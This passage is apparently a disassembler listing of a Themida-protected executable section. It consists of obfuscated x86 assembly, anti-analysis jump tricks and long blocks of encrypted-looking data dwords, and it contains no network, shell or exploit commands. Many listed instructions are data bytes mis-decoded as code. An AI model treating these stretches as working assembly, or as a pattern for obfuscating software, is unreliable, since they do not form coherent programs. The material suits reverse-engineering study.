		jnz	short loc_582FE2
		mov	ecx, [eax+30h]
		mov	ebx, [ebp+6148CC1h]
		cmp	ebx, [eax+34h]
		jg	short loc_58300B
		mov	edx, ebx
		imul	edx, 4
		add	ecx, edx
		mov	eax, [ecx]
		mov	[ebp+6148CBDh],	eax
		jmp	short loc_58300B
; ---------------------------------------------------------------------------


loc_583007:				; CODE XREF: Themida_:00582FE3j
		mov	eax, [eax]
		jmp	short loc_582FD0
; ---------------------------------------------------------------------------


loc_58300B:				; CODE XREF: Themida_:00582FD2j
					; Themida_:00582FF4j ...
		popa
		mov	eax, [ebp+6148CBDh]
		iret
; ---------------------------------------------------------------------------
		cld
		push	0
		push	ecx
		call	sub_58301F
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58301F	proc near		; CODE XREF: Themida_:00583017p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 16h
		inc	ecx
		push	ecx
		retn
sub_58301F	endp

; ---------------------------------------------------------------------------
		db 95h
		dd 8E96031h, 46000000h,	0FCBABA30h
		db 0A7h, 0FEh, 0F5h	; CODE XREF: Themida_:00583064j
; ---------------------------------------------------------------------------


loc_58303F:				; CODE XREF: Themida_:loc_58288Fj
		mov	eax, eax
		jmp	loc_583149
; ---------------------------------------------------------------------------
		jmp	short loc_5830B3
; ---------------------------------------------------------------------------
		dd 5C976A71h, 88838A05h, 0A1D76A1h, 8FDD7A0Eh, 6D373353h
; ---------------------------------------------------------------------------
		das


loc_58305D:				; CODE XREF: Themida_:00583084j
		jge	short near ptr loc_5830B3+1
		cmp	eax, 0D57F2D77h
		jge	short near ptr byte_58303C+1
		jge	short near ptr loc_5830BB+4
		cmp	eax, 75DF6DF7h
		aad	73h
		xlat
		jge	short near ptr loc_5830C5+4
; ---------------------------------------------------------------------------
		dw 0F73Dh
		db 0EDh
; ---------------------------------------------------------------------------


loc_583075:				; CODE XREF: Themida_:00583093j
		pop	edi
		aad	75h
		push	ebx
		xor	esi, [edi]
		insd
		das
		jge	short near ptr loc_5830D0+4
		cmp	eax, 0D57F2D77h
		jge	short loc_58305D
		jge	short near ptr loc_5830DD+2
		push	ds
		pop	ss
		assume ss:___
		insd
		fbstp	tbyte ptr [ebp+20h]
		pusha
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------


loc_583090:				; CODE XREF: Themida_:005830D6j
		pusha
		and	[eax], ah
		loopne	loc_583075


loc_583095:				; CODE XREF: Themida_:loc_5830B3j
		pusha
		and	[eax+ebp*2-1B560885h], ch
		mov	eax, ds:93B2D020h
		cmpsb
		in	eax, dx
		mov	bh, 9Dh
		mov	ecx, 0ACA3F291h
		and	[eax+20h], ah
		pusha
		and	[eax+20h], ah
; ---------------------------------------------------------------------------
		db 20h
; ---------------------------------------------------------------------------


loc_5830B3:				; CODE XREF: Themida_:00583046j
					; Themida_:loc_58305Dj
		loopne	loc_583095
		pusha
		and	[ebp+53h], dh
		xor	ecx, [edx]


loc_5830BB:				; CODE XREF: Themida_:00583066j
		or	eax, 20557D2Fh
		pusha
		and	[eax+20h], ah
		pusha


loc_5830C5:				; CODE XREF: Themida_:00583070j
		sub	[edi+50F0362Bh], ah
		leave
		pusha
		rep mov	dh, 0EFh	; CODE XREF: Themida_:005830D9j


loc_5830D0:				; CODE XREF: Themida_:0058307Dj
		mov	eax, ds:0B4E0F796h
		cmpsd
		jecxz	short loc_583090
		xchg	eax, edx
		jno	short near ptr loc_5830CD+2
		mov	bl, 0E9h


loc_5830DD:				; CODE XREF: Themida_:00583104j
					; Themida_:00583086j
		mov	ecx, 2060F76Dh
		pusha
		and	[eax+20h], ah
		pusha
		and	[eax], ah
		imul	dword ptr [ebp-21h]
		sbb	dh, ds:577DD773h
		cmp	eax, 0D55FEDF7h
		jnz	short near ptr loc_583149+3
		xor	esi, [edi]
		insd
		das
		jge	short loc_583154
		cmp	eax, 0D57F2D77h
		jge	short loc_5830DD
		jge	short loc_58315F
		cmp	eax, 75DF6DF7h
		aad	73h
		xlat
		jge	short near ptr loc_583167+2
		cmp	eax, 0D55FEDF7h
		jnz	short loc_58316C
		xor	esi, [edi]
		insd
		das
		jge	short loc_583154
		push	ds
		or	cl, [esi]
		add	[edi], al
		xor	al, 5Dh
		shl	byte ptr [ebx+1E59A0h],	cl
; ---------------------------------------------------------------------------
		dd 7 dup(0)
		db 0
; ---------------------------------------------------------------------------


loc_583149:				; CODE XREF: Themida_:00583041j
					; Themida_:005830F7j
		jmp	loc_583DBB
; ---------------------------------------------------------------------------
		dw 0F868h
		dd 0E9061497h
; ---------------------------------------------------------------------------


loc_583154:				; CODE XREF: Themida_:005830FDj
					; Themida_:0058311Dj
		imul	ebp, eax, -4
		jmp	fword ptr [eax-4Eh]
; ---------------------------------------------------------------------------
		dw 1498h
		db 6, 0E9h, 61h
; ---------------------------------------------------------------------------


loc_58315F:				; CODE XREF: Themida_:00583106j
		call	near ptr 6DC13160h
		cdq
		adc	al, 6


loc_583167:				; CODE XREF: Themida_:00583110j
		jmp	loc_5519C3
; ---------------------------------------------------------------------------


loc_58316C:				; CODE XREF: Themida_:00583117j
		push	6149A69h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149B13h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149BE8h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149D29h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149E26h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149EC6h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	6149FABh
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		push	614A062h
		jmp	loc_5519C3
; ---------------------------------------------------------------------------
		dd 0CA808FB5h, 0AEE4EB58h, 90C6C974h, 76DCD316h, 553B342Ch
		dd 48F829D2h, 57971147h, 0B7B0F258h, 9650D2B8h,	961B399h
		dd 81F7D806h, 0F6366FC9h, 7F8E8143h, 0D7363925h, 5D9BACE0h
		dd 0D1DE08E3h, 9141D6CCh, 96CF968Ch, 187EEC1Ah,	3F2F9F79h
		dd 773ED30h, 968CE210h,	0A5D361CFh, 34AB9FF5h, 0F00B2A30h
		dd 0E03DAB8Dh, 90CC3870h, 40BC602h, 0CF958DD6h,	5CA1DF6Dh
		dd 20AB8CE4h, 25D5A694h, 3C2E7697h, 0BE11B1A3h,	2384828Dh
		dd 0A4EA18A3h, 3ECFC002h, 8538E81Bh, 2B679BC9h,	8538F624h
		dd 0BBFF0DC9h, 0D602E265h, 85389141h, 58B197C9h, 0F47A473Ah
		dd 8E81BDD7h, 0DF53C17Fh, 0E4545B85h, 0FD925F8Eh, 0C985604Dh
		dd 0ED30AEDAh, 2F202173h, 0E80E62DEh, 7A838CBEh, 0DE2F2022h
		dd 0F6303315h, 4B157B74h, 9DCC373h, 5353Fh, 8143CD00h
		dd 3B257F8Eh, 7084434h,	0CF968CD7h, 0CD7D126Ch,	5ACF968Ch
		dd 96F8B02Eh, 19491DFBh, 9B9457ADh, 0B26FB097h,	0CD27D5A7h
		dd 0B9161A15h, 0A357F20Bh, 0F2C98567h, 83BBA5BEh, 0C409DCCEh
		dd 9756BDAEh, 6F936A98h, 856F3AE8h, 0DBBC9C9h, 411265h
		dd 78B40000h, 857027D7h, 0E8803CC9h, 0D80F6592h, 660A36D7h
		dd 0C9B9EDCBh, 436AD8CFh, 0F1B9A742h, 288D8295h, 5EEAD5A7h
		dd 0E056884Fh, 71A7C984h, 43D4E8F6h, 39109DCh, 0E32CBC4h
		dd 0B9156Ah, 43BB0000h,	257F8E81h, 0B7EB323Dh, 0FF02FE29h
		dd 9599AA58h, 0D0BB9CFh, 773BC150h, 0E13C332Dh,	0F0A6A99Bh
		dd 0C8C70290h, 6F3CFFA0h, 0EA54CF96h, 0CB75AFE5h, 0CC1439C4h
		dd 0C0A7A898h, 0C5D5A787h, 3561E1B7h, 4DA856F9h, 1BFC985h
		dd 854D5C8Ah, 6797B8C9h, 0FCC9854Dh, 7D354340h,	0EC5C08D0h
		dd 4F5E5196h, 0EA6D9991h, 0CF98FF61h, 841E4AE6h, 0ABFD535Ch
		dd 4A61B0BFh, 5E894EB8h, 938598Dh, 8DBB0000h, 0ED5ACC82h
		dd 0CB7AACE2h, 2D148EC4h, 0E3A6C22h, 33D84B01h,	3494682h
		dd 0E4AAA5A1h, 0C88E8142h, 0ADE3EC5Eh, 0D200176Bh, 51C981F5h
		dd 8743C0C4h, 0E660C288h, 0B429A3E9h, 1C48386Ch, 0BF4E4186h
		dd 0D146E981h, 0C5D5A7B0h, 0FEB2BDAFh, 0FF5AA3D1h, 0C985684Bh
		dd 0E3FD069Ah, 9DCCBDBh, 0A097h, 81432500h, 0F1037F8Eh
		dd 0B0A07D72h, 0B1BEAAF8h, 902AED6Ch, 984ACF96h, 0E567C197h
		dd 0D23E13EAh, 0DE45CA86h, 0DBD5A7A6h, 6E4AE7ADh, 10626DDEh
		dd 0F2AEDCD3h, 991DC15Dh, 5E0AA6CFh, 27131CC4h,	185553B9h
		dd 0D55D3FDEh, 0FEF171B3h, 4ED5B623h, 0B1A58689h, 87Eh
		dd 167C73F1h, 0F258578Ch, 0D4BAB5B0h, 0B2989752h, 99FFF070h
		dd 0C34E50Eh, 6BDB4D03h, 4BF42E64h, 0AA940E44h,	55A5EFA5h
		dd 81F514C2h, 20213C9h,	0C54A8743h, 0CF968D15h,	8D20CE41h
		dd 8927CF96h, 8AC07E8Ah, 6B212E18h, 8E814311h, 343B257Fh
		dd 5C8175Eh, 9CB3EFBBh,	0D5A7933Bh, 4EA49420h, 0C9779699h
		dd 339878CBh, 91997B22h, 545BE574h, 329EC84Dh, 0C2252A66h
		dd 0F4DCCDC3h, 59A4AB9Eh, 882493E7h, 0BADD0975h, 0D0CDB68Ch
		dd 291B6D9Bh, 19E75226h, 477A1D4Dh, 20D6E22Bh, 261DF670h
		dd 0FE6CD429h, 0D783312Fh, 0C68C83BDh, 1CEDE25Ch, 719097ADh
		dd 0C3964499h, 2E000007h, 0C7613738h, 0DF490F00h, 0F92B616Eh
		dd 97114748h, 0ADF65C53h, 0E6E95988h, 0F9F676B0h, 0D9D61193h
		dd 38373173h, 0A7A8C052h, 0C981F377h, 4395978Ch, 66D28E81h
		dd 968C41F1h, 0BBB4B3CFh, 5108609Ch, 0BFA414FCh, 0C15602B0h
		dd 0D5A79C1Ah, 63B1E11Fh, 2B15E8E7h, 0A8702147h, 0D9242B18h
		dd 0F6242B67h, 0DC9857Dh, 0A51141FFh, 857D84B2h, 569183C9h
		dd 6E9C4459h, 259FE0Ah,	0B4CF9A13h, 3324E95Eh, 0CF90F303h
		dd 3246F400h, 0E93B7785h, 881A707Fh, 93E1515Eh,	5D45C53h
		dd 0C4B4E0C8h, 0F2578788h, 50ECCF90h, 0F2BF6FE0h, 2844CF90h
		dd 63130440h, 0E0D5A587h, 7CA8E454h, 857F2BDBh,	36E46BC9h
		dd 0CDC9857Eh, 0C6490BFh, 4A8B14D6h, 9E4CC3FBh,	0A5C98570h
		dd 8AAD0917h, 0AE1A70EEh, 8DE5EA54h, 39A9557h, 0FAB6E2CEh
		dd 960BC655h, 0A47583CFh, 894CB233h, 0C764D22Bh, 2A000006h
		dd 0CB5D333Ch, 0EB3D131Ch, 851F757Ah, 0ABFD535Ch, 49DAB0BFh
		dd 0C2CD75A4h, 252A1A8Ch, 50A356Fh, 646BD54Fh, 8394E42Eh
		dd 0C981F253h, 654143D0h, 8CF82629h, 150FCF96h,	0FDB5232Ch
		dd 6CDC8850h, 0AB20C3EBh, 16D040D5h, 7B55B089h,	40FE40BDh
		dd 0D82A66D2h, 0DA08606Fh, 0F7316768h, 7FA37A75h, 0D7363925h
		dd 0CC140169h, 2B05355Ah, 0F602C982h, 51ACA39Ch, 0D50171EFh
		dd 822A9442h, 6C63E6C9h, 14A0AF91h, 0C86FE01Ch,	4DCF9339h
		dd 1FAC5AFDh, 1BCECF91h, 0AFF97714h, 0F36DB0BFh, 58D9B445h
		dd 0D02D8949h, 61D6Ah, 9D925000h, 0F9F66DB7h, 0DBD41193h
		dd 39363375h, 1E11D153h, 9746EF38h, 0ACF65C53h,	4FD9BFB0h
		dd 6BBD939Ch, 16A0F6F9h, 0F1C5751Ah, 0D142C981h, 0CF7B65D3h
		dd 87AE1C49h, 6669DBADh, 8DD92712h, 0CE6761DDh,	0F0B21DB5h
		dd 196ED159h, 1ED5AAD1h, 865AC506h, 70F8E50Ch, 0CB8735A3h
		dd 0CA808FB9h, 0B1E1EE58h, 14E9E663h, 0F61718C8h, 0B3EDC4Ah
		dd 0B01250A8h, 2B38F1B9h, 0CDC27DCDh, 9D4DC230h, 0AAC981EBh
		dd 672E01Eh, 0AE5ACCCAh, 4AE861C1h, 0D8510126h,	5AD6CF96h
		dd 41AA94EEh, 0CC748986h, 98788BAh, 6867E143h, 747BEA38h
		dd 2AC3B7A9h, 0D38FDB25h, 69D92B67h, 32598766h,	0CF95B004h
		dd 9ABDF503h, 0D5A6DA8Dh, 8E53AEDAh, 7E8F5DC3h,	548B9ADh
		dd 0BDAB0000h, 9D4ADCB2h, 0FB6ABC92h, 0DD049EF4h, 3E2A7CD2h
		dd 23C85B31h, 137976F2h, 0F45A5591h, 0D8BEB1B2h, 0BD939C4Eh
		dd 0E210077Bh, 61C981F1h, 8143F034h, 3B257F8Eh,	90E25E34h
		dd 7FDA5E51h, 0BE212191h, 8A51780Ah, 659301DFh,	21E12235h
		dd 0CBD5D5A7h, 0A3FC69AFh, 89BEC855h, 0B7C5F286h, 963FF356h
		dd 1A8EC984h, 1D2F1709h, 1A6809DCh, 0C373E429h,	40C9849Eh
		dd 0F9678634h, 2D5EB1h,	0B4EE0000h, 0C748386Ch,	0D5A7B150h
		dd 0C306E715h, 0C985690Fh, 5192E05Eh, 0BD6DE25Eh, 4AC98568h
		dd 23247A3Eh, 0DCCB093Dh, 0E24909h, 65170000h, 4410A77Bh
		dd 0B15F096Ch, 731FA65Ch, 529098B4h, 0C6C97B90h, 0FB6FB548h
		dd 1420CB64h, 67D9242Bh, 0CA7D9179h, 0C75D415Ch, 0C2600807h
		dd 0A6FE0F00h, 0BEE5ABA4h, 0CF95F17Dh, 74DAD517h, 433F3032h
		dd 55FA3731h, 0CF95F0A5h, 59816A2h, 0ED6D3DDBh,	0ED392E3Eh
		dd 917FD485h, 998295C5h, 9ED5A6FBh, 0BDAF4486h,	47F56BB2h
		dd 0AD683C9h, 496DE25Eh, 0DECF98AEh, 0A49CF6A2h, 0BAA5FFABh
		dd 80E868B5h, 0F71CC45Eh, 32CF7D72h, 894E1677h,	72C1AE3h
		dd 6A000004h, 0B9DF3FCh, 2B7DD3DCh, 0C55F353Ah,	0EB3D131Ch
		dd 891A707Fh, 828DB564h, 0E5EA5ACCh, 0C5CA75AFh, 242B158Fh
		dd 43D4246Eh, 0C981EF93h, 43818390h, 0B0561887h, 40865B55h
		dd 252A66D2h, 0CF9656F5h, 0CBC8C707h, 1193F5BDh, 1872D8D7h
		dd 61DC6CB4h, 33A19F6Eh, 4CF90B47h, 0FE16BA43h,	29D1FDEFh
		dd 0C3640CBAh, 0D5A7A74Ch, 55AF9B29h, 5590E2EDh, 0C007D65Ah
		dd 0C9855F0Eh, 203EC95Fh, 9DCC11Ch, 0B052h, 0AE9EF400h
		dd 8CE45CA1h, 8E81437Eh, 323D257Fh, 90AB6CEBh, 1BC5CF96h
		dd 899141D6h, 1A96CF96h, 0C9D4DB08h, 57B39917h,	0CD9E013Dh
		dd 4BD0DEC0h, 0FF254DFBh, 47BB424Dh, 753D322Dh,	0F4A4F0D8h
		dd 0A72AF863h, 94FFDD5h
		dd 1CCA4DB9h, 2BC98527h, 50B8959Dh, 40C35404h, 25CF98D6h
		dd 9F49DB97h, 5FD30D90h, 1E11D123h, 757AEE38h, 4EFCEBA4h
		dd 4CFA4389h, 30Ah, 9AF0FF65h, 7ED4DB08h, 60363924h, 460C03C6h
		dd 256B64DCh, 0B8A85982h, 8747E1B7h, 0E760C288h, 0C600A2E8h
		dd 0F93183C9h, 81EEA856h, 0A6E6BFC9h, 0C2888743h, 0A3E9E660h
		dd 8E814329h, 75F1037Fh, 72EC367Ah, 32A0AF99h, 3E312C46h
		dd 0D73971EFh, 947C3F9Eh, 1CFF90C0h, 1D5A793h, 79386F3h
		dd 0CE6DBAFDh, 8EFAB6E2h, 2022C974h, 56F9B12Fh,	33831F05h
		dd 235FAEDAh, 4EFB10D1h, 16CAD341h, 0BDE93762h,	8F174ACDh
		dd 0A4D03175h, 0A3AC9EF4h, 8689BBEDh, 6D33B06Bh, 3327042Bh
		dd 26Ah, 0FA505F85h, 0DEB4BBA8h, 0C0969944h, 0A6ECE366h
		dd 85CBC47Ch, 18C8F922h, 67E74117h, 47802268h, 0A6A00248h
		dd 5951E3A9h, 81EF0836h, 6061FC9h, 7F8E8143h, 0F6A2F6D2h
		dd 0B93AB2E8h, 2B2999F2h, 0E0A1F7FAh, 1B670BF9h, 0A7713F74h
		dd 2D1824D5h, 38D7BED9h, 0A5B0E614h, 0C8788A0Eh, 56848BC7h
		dd 0EDC984B2h, 927EDB5Fh, 22858AC6h, 7CF95B9h, 4B1FB9E9h
		dd 5852502Ch, 45D43179h, 8C24038Dh, 0E45400E8h,	49545B8Eh
		dd 0F714C255h, 0E5131307h, 50C70377h, 1919066Fh, 1E11CD27h
		dd 0FED9518Fh, 52ABA4A6h, 0A0AD70EEh, 0E05C0C58h, 1CD2CFE6h
		dd 0F49BC5B2h, 14F75646h, 7931AFDDh, 0BCBA3D6h,	7828441Bh
		dd 4236392Ah, 35CCCA06h, 82B6764Dh, 0E567BDF5h,	0C002A4EAh
		dd 0C15532CFh, 78C535C7h, 185F2h, 757AE800h, 515E851Fh
		dd 0B3BCA9FBh, 919E4BDDh, 0F6F969BBh, 2FDE07A0h, 0C45E343Bh
		dd 0E7411718h, 83256B64h, 8E084E41h, 0EE2DDD72h, 693AC981h
		dd 8E81433Bh, 6E8540D2h, 3729F4FBh, 0DEFC64B9h,	0A2881C73h
		dd 0D8919962h, 89F9AD0Bh, 0A723B186h, 543AB6D5h, 10F8B301h
		dd 0A0031444h, 85CF95DAh, 47173A77h, 9E8888BAh,	8E438232h
		dd 0A4395989h, 2452EE16h, 19C9352h, 0A3F1A1DFh,	0E25EAFA0h
		dd 0FADD728Eh, 0EF1CB549h, 39874C51h, 65E73D6Dh, 0C5AD936Ah
		dd 0A4E396B9h, 688416C7h, 9378EA38h, 672D5B54h,	525D891Bh
		dd 555A84DEh, 0BB1DD544h, 4EFC4131h, 0CEh, 662C2321h, 4208073Ch
		dd 246A65E0h, 2484782h,	0E9AFA0A0h, 0FC6495BEh,	0DB0B9DF3h
		dd 3B247ED4h, 1AC45E34h, 85F53F15h, 81EC6492h, 72B2E3C9h
		dd 0D28E8143h, 0FA6E8540h, 0BA2828F5h, 8C9949CEh, 12AECF96h
		dd 0B5534F1Eh, 0C5C2C269h, 0C77206DCh, 81FDADF9h, 2FFEF173h
		dd 828B1331h, 5DA4AE20h, 3B4972D5h, 0B2CED5A7h,	753BDDCh
		dd 0CB92C44Bh, 1BA9CF99h, 8788BA82h, 7E9557D1h,	33DC0CFh
		dd 0F2D10895h, 823BF694h, 6BB14C43h, 0BA2DF0FFh, 487F5DE6h
		dd 5758841Eh, 0BC7A8D23h, 1AC84F82h, 29633682h,	7C78FD9Bh
		dd 3A0F11A3h, 0E25CC68Ch, 1DC410EDh, 32568B12h,	7A75F731h
		dd 5F509214h, 8984Eh, 86A20000h, 424DFA08h, 8543DC2Eh
		dd 3F29738Ah, 5497ED30h, 0CA7A425Bh, 64DC38C5h,	9E4A926Bh
		dd 31300C91h, 0A895EF3Eh, 0C97E46A7h, 573727C6h, 0C781E789h
		dd 4, 5704EF83h, 42474FFh, 24048F5Fh, 5F70685Ch, 1C890000h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 83243C89h
		dd 148904ECh, 7422BA24h, 0D4BB42E1h, 1C33321h, 8B545AD3h
		dd 0C481243Ch, 4, 24348153h, 197141CBh,	5208478Fh, 8BAh
		dd 81FA0100h, 7141CB32h, 3C8B5A19h, 0E6895624h,	4C681h
		dd 0C6810000h, 4, 5C243487h, 51241C8Bh,	0C181E189h, 4
		dd 8704C183h, 0E95C240Ch, 0FFFCDC0Fh, 0B54C2C09h
		db 2Ch,	58h, 70h
; ---------------------------------------------------------------------------


loc_583DBB:				; CODE XREF: Themida_:loc_583149j
		mov	eax, 614A155h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 5FCD8707h, 62098967h, 3E37B5BBh, 128C71FBh, 5A2CBEF4h
		dd 263460F5h, 6E4A54ACh, 759356EBh, 4138677Dh, 30064BDBh
		dd 43EE3FD5h, 5053C55Dh, 5975D9E9h, 342E7327h, 4C369AD4h
		dd 3042A89Dh, 148E9h, 5000h, 5400h, 5800h, 5C00h, 6000h
		dd 6400h, 6800h, 6C00h,	0B000h,	0B400h,	0B800h,	0BC00h
		dd 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h, 0D800h
		dd 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 583E6900h, 0A150EB00h, 43858D00h, 600614A2h,	86C8BF66h
		dd 585F5656h, 83858961h, 890614A3h, 1113799Dh, 0D185C606h
		dd 54061106h, 0BAFA8B60h, 7D0898D8h, 0D166861h,	8B66BBF8h
		dd 240481C8h, 326A5B13h, 2FC48DB9h, 0FE978h, 405E0000h
		dd 0A0E23F98h, 0D7180A92h, 5E34A819h, 0D1B5FFAAh, 5106110Fh
		dd 5A18D03h, 8D5B0611h,	14747F85h, 4D9D8906h, 0F061100h
		dd 0D0FFDFB7h, 0EC48BB66h, 0A3878589h, 80600614h, 0B70FA8E9h
		dd 816661D3h, 0E975E0DEh, 45h, 8518D01h, 8B560611h, 14A383B5h
		dd 83068906h, 14A38385h, 0C35E0406h, 43B58D60h,	0EB0614A2h
		dd 6A560Fh, 95FF36FFh, 614A387h, 4C6835Eh, 75003E83h, 89C361ECh
		dd 1132C1BDh, 2870F06h,	0B3000000h, 32858D50h, 0F0614A4h
		dd 383h, 7FE18000h, 29A58589h, 0BE80611h, 9A000000h, 0D02FE09Dh
		dd 5B2FB1EBh, 5EF84CCEh, 9469BAB9h, 7EC68146h, 2900006Ch
		dd 111DC59Dh, 60DB3306h, 5F5F5653h, 0B49F80B9h,	34FF6139h
		dd 18870F33h, 0E9000000h, 13h, 0C685B336h, 59AA2891h, 0EC0B9E1Eh
		dd 5417B308h, 586D6D33h, 0DE9h,	8263CE00h, 255AF681h, 4B190822h
		dd 0F0814FEEh, 16841F55h, 6820F56h, 0F000000h, 85h, 0C0815F00h
		dd 4762342Ch, 87E98166h, 0F8C081ECh, 890CE7C5h,	0BCBF1E04h
		dd 6052421Ah, 0DE8h, 9F98A000h,	0AED16D4Fh, 61D49B9Eh
		dd 5EF56DE3h, 3880Fh, 0BF0F0000h, 0EB8361D1h, 99958B02h
		dd 4B061113h, 81FB8B4Bh, 0FF9448FBh, 67850FFFh,	31FFFFFFh
		dd 11270DBDh, 19E906h, 0F9670000h, 175Bh, 4 dup(0)
		dd 0E9000000h, 571h, 5A303F25h,	3E141BC8h, 207679E4h, 64C4386h
		dd 0E5ABA49Ch, 0F8689942h, 0C707A1F7h, 272082C8h, 6C06228h
		dd 0B9F14309h, 81E76896h, 66A6FFC9h, 7F8E8143h,	5C323D25h
		dd 0F61718CAh, 6AB3BCAEh, 0BFAAF834h, 8CEB1BB0h, 0CC78CF96h
		dd 7B828DBAh, 0F077ADC5h, 0F67183FFh, 1E3C24F9h, 0B3A76C1h
		dd 0F1A8C02Ah, 6DB0BFABh, 0C3DAD517h, 0DBF90A1Eh, 39287A24h
		dd 169D736h, 509254EFh,	0BCAFF95Fh, 984BDDB3h, 0FA087697h
		dd 85BB424Dh, 0AF7E71F3h, 0BBABF9B1h, 94F469B4h, 1EA5593h
		dd 0F65CCAC5h, 0D5690C8Ah, 890162B2h, 8E8143E1h, 6985037Fh
		dd 71544238h, 0CB7C2357h, 2BCF95ABh, 0FEA1D1FFh, 0A9747BEEh
		dd 91F8A9B7h, 4ED90F63h, 0CDAC6C50h, 7E220Fh, 43CA0000h
		dd 40D28E81h, 0CC748986h, 0A252F5A4h, 0DECF968Ch, 5D617F88h
		dd 150FCDEFh, 6, 0E0EF5FB5h, 84437288h,	3D2A728Bh, 29B7EB32h
		dd 8AD40BD7h, 2B793149h, 0FDEC313Eh, 0F8F7778Dh, 616EDF25h
		dd 4236A49Ch, 66DD1B2Ch, 7FEB3969h, 0FFB3AD70h,	5AFD2999h
		dd 0CF95E2ACh, 8637E5BAh, 701FF32Ch, 0B63CA554h, 35A30378h
		dd 0CE25277Dh, 548C111Eh, 726C6A26h, 69AD89AAh,	0EA648AEEh
		dd 75888743h, 7B37382Fh, 2EBCB5Dh, 967FDD0Dh, 30DE6ACFh
		dd 9E923159h, 212266CFh, 5B8863E7h, 0FD974954h,	7BD14F40h
		dd 0ED303F29h, 44595697h, 4856D147h, 0FCD0E64h,	502Ah
		dd 8743F200h, 3E2F7588h, 0A7FDEC31h, 0E1EE5A9Ch, 1AC55FABh
		dd 0C17F70F1h, 60BDB2B7h, 0FE6AB8F0h, 9CF62CF1h, 5DF2AEA1h
		dd 0CF968CADh, 386A0EBAh, 0A2E70609h, 0C3EBF50Eh, 8F0FCDEDh
		dd 37h,	8887435Dh, 333C2F75h, 81B4DEAh,	3F151ACEh, 8B8443CDh
		dd 8D24D772h, 0C42CF96h, 0EF21E5FBh, 10910FCDh,	31000000h
		dd 926B64E3h, 0AD5DF2AEh, 0BACF9699h, 43106A0Eh, 2708D82h
		dd 0A17C73F0h, 0BFA9FBBFh, 0D6176DB0h, 4FF8C4D9h, 760ABD40h
		dd 0CE52CFEDh, 7D72F335h, 7A75F70Dh, 93F5BDA3h,	124E1AE6h
		dd 0A798327Dh, 0C9B937D5h, 1C138CBBh, 750C9F7Eh, 0C099910Fh
		dd 0F454AF4h, 59A4AB95h, 84A64EFEh, 22257BC9h, 5DB77AE4h
		dd 211FEEE1h, 84A67CAAh, 87B7D8C9h, 9CC984A6h, 0A7D56360h
		dd 0C40391F1h, 0C37DA7CBh, 0C4069CCCh, 82303F2Fh, 0FCADC57Bh
		dd 54A9A6A0h, 37D6D908h, 7CAE6F99h, 73056A56h, 2C231DF6h
		dd 24786FBEh, 0A4E40123h, 64FB65A3h, 9B14E507h,	3C12809Bh
		dd 0DCE20A32h, 1604409h, 0B4140000h, 0C748386Ch, 0D5A7ACACh
		dd 0A2FA03B1h, 6A6D3FA0h, 0E3C8B83Eh, 0DB979484h, 0A4D24017h
		dd 858AB4EEh, 2D221C78h, 363117D0h, 137976F0h, 0DCA67549h
		dd 6B3D09h, 0B4C30000h,	0AC5AFD6Bh, 0BBCF968Ch,	77A39F0Dh
		dd 707FE93Bh, 0EE1CB3ADh, 26CF968Ch, 968D0131h,	0EDEA06CFh
		dd 0A674DB5Fh, 0BD4F968Ch, 7280FE0Fh, 312FFEF1h, 8E28D679h
		dd 0B5D4F96h, 0BCE8C9F8h, 0C30290CCh, 8D9747CCh, 10AC4F96h
		dd 32CBC406h, 791E6A0Eh, 0CF968DA9h, 0FCB292BEh, 7E8F80BDh
		dd 1130C4C2h, 13276D9Bh, 0BEh, 0FD296539h, 968CAC5Ah, 860DBBCFh
		dd 0CF968C58h, 90658BEEh, 1F3C430Fh, 44AC89E1h,	13D22010h
		dd 0BCE8141Ch, 14E9E666h, 98E3442Ch, 5DD5A6B3h,	2021732Fh
		dd 4186DE2Fh, 8158D04Eh, 0D08689BBh, 29B9456h, 84A012C7h
		dd 0D5017DC9h, 849E9442h, 0D6593C9h, 5C8E48DBh,	9E50FE91h
		dd 59D7C984h, 8A131CCFh, 0C772D856h, 0D3FDADF9h, 7271F34h
		dd 7C34FFh, 9993230Fh, 19C28CFh, 4A06093Bh, 6C040B38h
		dd 0B8CA80BDh, 557B828Dh, 2FACD08Fh, 0FABE2CC1h, 3692A3A4h
		dd 0B5A83662h, 628736C3h, 0E3130474h, 60CF9109h, 2F205CD4h
		dd 0D5A5AF43h, 7AA8AF1Bh, 89C98566h, 6C98377Bh,	7B65D426h
		dd 566029BBh, 7B74F19Eh, 6800BEA2h, 0FBB7E3CDh,	0AB23EA54h
		dd 0BA43F1D5h, 0CD805A44h, 0F6896B9h, 41FFC982h, 0E972F243h
		dd 0EEE16381h, 0EAE560B2h, 4C66086h, 3A57F20Bh,	37DAD13Ch
		dd 50A394Bh, 0C8283B6Dh, 954BFB9Ch, 0ACD8B83Ah,	0A3AC9EC4h
		dd 8689BBEDh, 818EB8CAh, 7DE430E9h, 45CA0672h, 0B83A9595h
		dd 83B3A492h, 80B83A95h, 0FBB2C674h, 0E7212246h, 77A7A865h
		dd 8CB83A95h, 3C8CC270h, 76B64E6h, 916C63DDh, 1EA5h, 2965F700h
		dd 968CF826h, 81F10FCFh, 968C608Eh, 2149E7CFh, 434E4846h
		dd 0C9613881h, 4364969Ah, 29738A85h, 97ED303Fh,	7A425B54h
		dd 0DC38C5CAh, 4A926B64h, 300C919Eh, 95EF3E31h,	7E46A7A8h
		dd 3727C6C9h, 81E18951h, 4C1h, 4BF5700h, 29000000h, 0C875FF9h
		dd 31685C24h, 89000025h, 89562434h, 4C681E6h, 81000000h
		dd 4EEh, 24348700h, 243C895Ch, 4005BF57h, 0F781369Ch, 3A855C90h
		dd 6B24E781h, 0D7F74321h, 4FA4C781h, 0F7812C72h, 2A65E2F9h
